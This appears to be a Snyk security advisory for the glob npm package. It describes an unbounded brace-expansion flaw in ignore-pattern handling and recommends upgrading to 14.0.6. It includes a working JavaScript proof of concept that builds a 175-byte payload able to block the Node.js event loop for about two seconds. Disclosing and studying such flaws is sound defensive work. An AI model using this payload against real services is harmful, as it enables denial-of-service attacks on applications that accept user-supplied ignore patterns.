Allocation of Resources Without Limits or Throttling Affecting glob package, versions >=13.0.5 <14.0.6


Severity

Recommended
0.0
medium
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.83% (59th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-JS-GLOB-23184399
  • published1 Dec 2026
  • disclosed1 Dec 2026
  • crediticguner

Introduced: 1 Dec 2026

NewCVE-2026-137196  (opens in a new tab)
CWE-405  (opens in a new tab)
CWE-770  (opens in a new tab)

How to fix?

Upgrade glob to version 14.0.6 or higher.

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in src/ignore.ts, the Ignore class constructs its own minimatch options without including a braceExpandMax limit, causing ignore patterns to fall back to minimatch's default of 100,000 instead of the 10,000 cap applied to regular patterns. Both code paths force optimizationLevel: 2, which is the precondition for minimatch's O(n²) globparts amplification in secondPhasePreProcess(). An attacker who can supply ignore patterns can pass a brace-expansion payload that is rejected in milliseconds as a regular pattern but consumes several seconds of CPU when processed as an ignore pattern, blocking the Node.js event loop.

PoC

import { Volume, createFsFromVolume } from 'memfs'
import { glob } from 'glob'

const vol = new Volume()
const fs = createFsFromVolume(vol)
vol.fromJSON({ '/p/f.txt': 'x' })

// 14 '**/..' groups -> 2^14 = 16384 rows, over the 10_000 limit
const payload = Array.from({ length: 14 })
  .map((_, i) => `**/../x${i}/y${i}`)
  .join('/')

glob.sync(payload, { cwd: '/p', fs, platform: 'posix' })
// throws: optimizationLevel 2: too many patterns from '**/..'   (rejected fast)

glob.sync('*', { cwd: '/p', fs, ignore: [payload], platform: 'posix' })
// accepted, ~1.5-2.0 s of CPU

Measured on the published glob@14.0.4:

payload: 175 bytes
  as PATTERN :      6 ms  REJECTED (optimizationLevel 2: too many patterns from '**/..)
  as IGNORE  :   1985 ms  accepted

Note: The PoC uses memfs for an in-memory filesystem and targets the published glob@14.0.4 on a posix platform.

CVSS Base Scores

version 4.0
version 3.1